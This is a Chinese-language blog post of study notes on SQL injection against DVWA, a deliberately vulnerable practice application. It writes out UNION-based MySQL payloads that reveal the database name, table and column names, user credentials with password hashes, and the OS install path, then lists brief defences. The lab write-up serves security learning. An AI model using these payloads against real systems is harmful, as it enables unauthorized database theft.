• Web安全测试学习笔记-DVWA-SQL注入-2


    接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息。

    1. 获取当前数据库名称

    输入:2' union select 1,database() '

    输出:数据库名称为dvwa 

    database()是Mysql自带函数,用来获取当前数据库名称。

    2.获取当前数据库所有表名

    输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa

    输出:dvwa数据库中一共有两张表,分别是gestbook和users

    information_schema是MySQL自带数据库,用来存储MySQL数据库元数据,通俗来说就是MySQL中的所有数据库名,每个数据库的表名,每个表的列名等等。

    3. 获取用户表的所有字段名

    输入:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users

    输出:users表中比较重要的列名:user,password

    4. 获取用户表中的数据

    输入:'UNION select user,password from users# (#为MySQL的注释符,相当于将后面的单引号注释掉了)

    输出:拿到了所有用户名和加密过的密码

    如果数据库的密码存储的是明文,Hmm......

    同理,你还想要什么数据,都可以随便取用了,把整个数据库拖出来都可以!

    如果是涉及到money的系统数据库被攻破,Hmm......Hmm......

     

    5. 获取操作系统类型

    输入:'UNION select 1,@@basedir#

    输出:Windows操作系统

     

    一点点感悟:

    1. 对输入进行过滤

    2. 数据库中的敏感信息一定要加密!

    3. 听说参数化和预编译能很好的防御SQL注入

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    Appdelegate 跳转其他页面 获取当前屏幕显示的viewcontroller 获取当前屏幕中present出来的viewcontroller 获取当前导航控制器
    React-Native 环境部署
    关于GCD的那些事
    二,Runtime进行动态添加方法
    一, Runtime 交换方法
    Runtime 概念
    Mac Office安装及破解
    iOS 规范之宏
    规范之UITableViewCell
    Linux 命令
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/11843457.html
Copyright © 2020-2023  润新知